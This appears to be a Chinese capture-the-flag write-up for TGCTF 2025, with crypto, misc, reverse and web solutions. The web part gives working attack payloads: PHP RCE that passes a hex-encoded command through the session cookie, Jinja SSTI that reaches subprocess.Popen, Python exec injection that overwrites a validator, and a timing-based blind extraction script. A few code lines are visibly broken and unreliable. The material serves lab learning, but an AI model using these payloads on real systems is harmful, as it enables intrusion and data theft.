Crypto
AAAAAAAA·真·签到
给你flag签个到好了
诶,我的flag怎么了????
好像字母对不上了
我的签到怎么办呀,急急急
听说福来阁好像是TGCTF开头的喔
UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}
变种凯撒
cipher = 'UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}'
flag = ''
offset = -1
for i in range(len(cipher)):
if cipher[i].isalpha():
if cipher[i].isupper():
flag += chr(((ord(cipher[i]) - ord('A') + offset + i) % 26) + ord('A'))
else:
flag += chr(((ord(cipher[i]) - ord('a') + offset + i) % 26) + ord('a'))
else:
flag += cipher[i]
print(flag)
TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}
费克特尔
c=670610235999012099846283721569059674725712804950807955010725968103642359765806
n=810544624661213367964996895060815354972889892659483948276203088055391907479553
e=65537
题目直接叫factor了 上factordb分解下n
n = 113 · 18251 · 2001511 · 214168842768662180574654641 · 916848439436544911290378588839845528581
from math import gcd
from Crypto.Util.number import inverse, long_to_bytes
c = 670610235999012099846283721569059674725712804950807955010725968103642359765806
n = 810544624661213367964996895060815354972889892659483948276203088055391907479553
e = 65537
factors = [ 113, 18251, 2001511, 214168842768662180574654641, 916848439436544911290378588839845528581]
phi = 1
for i in factors:
phi *= (i - 1)
d = inverse(e, phi)
m = pow(c, d, n)
message = long_to_bytes(m)
print("Flag:" + message.decode('utf-8'))
TGCTF{f4888_6abdc_9c2bd_9036bb}
Misc
next is the end
n层嵌套的文件夹 写个脚本
import os
current_path = os.getcwd() + r"\next_or_end" # 初始路径
depth = 0
while "next_or_end" in os.listdir(current_path):
current_path = os.path.join(current_path, "next_or_end")
if "next_or_end" in os.listdir(current_path):
depth += 1
else:
break
print(f"最终深度: {depth}")
print(f"最终路径: {current_path}")
finalpath = os.path.join(current_path, 'you_get_it')
filepath = os.path.join(finalpath, 'flag.txt')
with open(filepath, 'r') as file:
flag = file.read()
print(flag)
where it is(osint)
截取学校部分的图片 识图 找到学校是臺北市立內湖高級工業職業學校
上谷歌地图找
根据街景就能确认这个站点
这是啥o_o
附件中是一个Gif文件 帧分离后可得到后几帧中的图片碎片 拼图后是汉信码
中国编码app可以识别 结果是time is your fortune ,efficiency is your life
这是出题人给的hint 关注时间 于是发现是帧间隔隐写
人话就是通过GIF动画每帧图片之间的间隔隐写信息
import os
from PIL import Image
def get_gif_durations(gif_path):
try:
with Image.open(gif_path) as img:
durations = []
while True:
try:
durations.append(img.info.get('duration', 0))
img.seek(img.tell() + 1)
except EOFError:
break
return durations
except Exception as e:
print(f"Error: {str(e)}")
return None
path = os.getcwd() + r"\a.gif"
result = get_gif_durations(path)
flag = ''
if result:
for i, duration in enumerate(result):
flag += chr(duration // 10)
print(flag)
TGCTF{You_caught_up_with_time!}
ez_zip
爆破压缩包
密码20250412 解压出来文件夹 有一个sh512.txt 内容为 Awesome,you_are_so_good
End压缩包中也有一个sh512.txt
计算sha512
发现CRC一样 那就好办了 明文攻击 密钥[ b39bc130 8183a9f1 d5381ad8 ] 解压出flag.zip
010看一下
两个问题
文件名应是flag.txt,长度应为8,而文件中为4 改回8
文件是压缩过的,但标记为STORED 改回Deflate
解压 修复后的压缩包 提取出flag.txt
TGCTF{Warrior_You_have_defeated_the_giant_dragon!}
参考:压缩包Zip格式详析
你能发现图中的秘密吗?
给了一个压缩包+一张图片
图片存在lsb key=i_1ove_y0u 是压缩包密码
解压出一张图片一个PDF
PDF用ps打开
存在flag图层 是flag2
查看另一张图片的IDAT结构
发现最后一个IDAT块巨大无比 可能是藏了一张图片 删掉其他的IDAT块后爆破宽高
TGCTF{you_are_so_attentive_and_conscientious}
TeamGipsy&ctfer
唯一一道取证题,但是感觉也不大像取证 最难的地方在于从百度网盘下载
DiskGenius挂载一下硬盘
在桌面找到一个mimi.txt
Reverse
Base64
IDA分析代码
初步判断是一个自定义的Base64码表 跟进函数sub_1400010E0查看具体如何实现
太长了 丢给deepseek
分析
自定义Base64编码表:题目中使用了一个自定义的Base64编码表GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI。
编码逻辑:每个6位值x被转换为编码表中的索引(x + 24) % 64。
解码逻辑:解码时需要将每个字符的索引转换为(索引 - 24) % 64,然后将这些6位值组合成原始字节。
custom_base64_table = "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI"
table = {char: idx for idx, char in enumerate(custom_base64_table)}
def decode_custom_base64(encoded):
encoded = encoded.rstrip('=')
decoded_bytes = []
for c in encoded:
if c not in table:
raise ValueError(f"Invalid character: {c}")
index = table[c]
x = (index - 24) % 64
decoded_bytes.append(x)
# 将6位数值转换为二进制字符串
bit_str = ''.join([bin(b)[2:].zfill(6) for b in decoded_bytes])
# 将二进制字符串转换为字节
byte_arr = bytearray()
for i in range(0, len(bit_str), 8):
byte = bit_str[i:i+8]
if len(byte) < 8:
break
byte_arr.append(int(byte, 2))
return bytes(byte_arr)
encoded_str = "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF="
decoded_data = decode_custom_base64(encoded_str)
flag = decoded_data
print(flag.decode())
HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}
Web
TG_wordpress
四个方向都可以拿hint 挑最简单的了
.DS_Store泄露 拿到RSA密钥和密文 解出wp账密
登录后看到插件有file manager 一眼丁真了
AAA偷渡阴平
非预期解了
Payload:tgctf2025=chdir(DIRECTORY_SEPARATOR);highlight_file(flag);
AAA偷渡阴平(复仇)
SESSION和2没被waf
参考:RCE篇之无参数rce
对命令文本转换为16进制
cat /flag => 636174202f666c6167
Payload:tgctf2025=session_start();system(hex2bin(session_id()));
set Cookie:PHPSESSID=636174202f666c6167
直面天命
非预期
提示爆破4字母路由 找到 /aazz
可以传参 爆破出参数 filename
Payload:filename=/flag
直面天命(复仇)
访问/aazz 拿到题目源码 审计代码
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key
app = Flask(__name__)
black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars
@app.route('/')
def home():
return send_from_directory('static', 'index.html')
@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧
再去西行历练历练
Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?
Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400
@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)
@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
SSTI题目
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}} 最后,如果你用了cat,就可以见到齐天大圣了"
template= template.replace("天命","{{").replace("难违","}}")
可以看出 secret_key 是 天命难违
Hex绕过waf
获取模块列表 找到subprocess.Popen 索引为351
POST:name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()难违
POST:name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]+["\x5f\x5fsubclasses\x5f\x5f"]()[351]('ls ',shell=True,stdout=-1).communicate()[0]难违
POST:name=天命[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]+["\x5f\x5fsubclasses\x5f\x5f"]()[351]('cat tgffff11111aaaagggggggg',shell=True,stdout=-1).communicate()[0]难违
熟悉的配方,熟悉的味道
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader
eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}
def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))
if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0
return 1
def home_view(request):
expr_input = ""
result = ""
if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"
template_str = 【xxx】
env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)
if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()
server = make_server('0.0.0.0', 9040, app)
server.serve_forever()
内存马
审计代码 发现 checkExpr函数中存在一行print(exec(expr_input))且无校验
按顺序执行两条命令 直接覆盖掉检测
global eval_globals; eval_globals = {} #覆盖黑名单
global checkExpr; checkExpr = lambda x: 1 #HOOK检测函数,使其永远返回1
RCE
__import__('os').popen('ls /').readlines()
__import__('os').popen('cat /flagggggg_tgctf2025_asjdklalkcnkjassjhdlk').readlines()
SSTI 时间/报错 盲注
import requests as request
import string
import time
url='http://127.0.0.1:8102/'
flag =''
for i in 64(100):
for char in string.printable:
code = f"""import os
import time
t = os.popen('cat /fl*').read()
if len(t)>{i} and t[{i}]=='{char}':
time.sleep(2)
"""
startTime = time.time()
request.post(url, data={'expr': code})
endTime = time.time()
if endTime - startTime >= 2:
flag += char
print(char, end='')
break
else:
continue
print('\nFound flag:', flag)
前端GAME / PLUS / ULTRA
三个CVE
Vite Dev Server Vulnerability Scanner
火眼辩魑魅
/robots.txt
User-Agent: *
Disallow: tgupload.php
Disallow: tgshell.php
Disallow: tgxff.php
Disallow: tgser.php
Disallow: tgphp.php
Disallow: tginclude.php
tgshell.php 蚁剑直接连